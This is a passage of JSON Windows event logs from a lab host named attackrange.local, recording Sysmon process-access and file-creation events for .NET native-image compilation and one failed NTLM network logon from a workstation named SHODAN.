C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:49.057","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4325-5F2D-0000-0010F7381000}","TargetProcessId":"5012","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8128,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:49.260\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4325-5F2D-0000-00103D3D1000}\r\nTargetProcessId: 3976\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:49.260","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4325-5F2D-0000-00103D3D1000}","TargetProcessId":"3976","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8129,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:49.260\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4325-5F2D-0000-00103D3D1000}\r\nTargetProcessId: 3976\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:49.260","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4325-5F2D-0000-00103D3D1000}","TargetProcessId":"3976","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8130,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:49.260\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4325-5F2D-0000-00103D3D1000}\r\nTargetProcessId: 3976\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:49.260","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4325-5F2D-0000-00103D3D1000}","TargetProcessId":"3976","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9218868437227405312,"EventType":"AUDIT_FAILURE","SeverityValue":4,"Severity":"ERROR","EventID":4625,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":222290,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account failed to log on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Type:\t\t\t3\r\n\r\nAccount For Which Logon Failed:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t\r\n\tAccount Domain:\t\tWORKGROUP\r\n\r\nFailure Information:\r\n\tFailure Reason:\t\tUnknown user name or bad password.\r\n\tStatus:\t\t\t0xC000006D\r\n\tSub Status:\t\t0xC0000064\r\n\r\nProcess Information:\r\n\tCaller Process ID:\t0x0\r\n\tCaller Process Name:\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tSHODAN\r\n\tSource Network Address:\t185.142.239.16\r\n\tSource Port:\t\t46024\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tNtLmSsp \r\n\tAuthentication Package:\tNTLM\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon request fails. It is generated on the computer where access was attempted.\r\n\r\nThe Subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe Logon Type field indicates the kind of logon that was requested. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe Process Information fields indicate which account and process on the system requested the logon.\r\n\r\nThe Network Information fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-0-0","TargetDomainName":"WORKGROUP","Status":"0xc000006d","FailureReason":"%%2313","SubStatus":"0xc0000064","LogonType":"3","LogonProcessName":"NtLmSsp ","AuthenticationPackageName":"NTLM","WorkstationName":"SHODAN","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"185.142.239.16","IpPort":"46024","EventReceivedTime":"2020-08-07 12:03:51","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8131,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:51.276\r\nProcessGuid: {90617006-4325-5F2D-0000-00103D3D1000}\r\nProcessId: 3976\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\f88-0\\System.Workflow.Activities.dll\r\nCreationUtcTime: 2020-08-07 12:03:51.276","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:51.276","ProcessGuid":"{90617006-4325-5F2D-0000-00103D3D1000}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\f88-0\\System.Workflow.Activities.dll","CreationUtcTime":"2020-08-07 12:03:51.276","EventReceivedTime":"2020-08-07 12:03:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8132,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:51.369\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42F1-5F2D-0000-001035900E00}\r\nTargetProcessId: 3996\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:51.369","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42F1-5F2D-0000-001035900E00}","TargetProcessId":"3996","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8133,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:51.369\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42F1-5F2D-0000-001035900E00}\r\nTargetProcessId: 3996\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:51.369","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42F1-5F2D-0000-001035900E00}","TargetProcessId":"3996","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8134,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:51.369\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42F1-5F2D-0000-001035900E00}\r\nTargetProcessId: 3996\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:51.369","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42F1-5F2D-0000-001035900E00}","TargetProcessId":"3996","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:52","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:51","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8135,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:51.463\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4304-5F2D-0000-001018450F00}\r\nTargetProcessId: 4104\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: 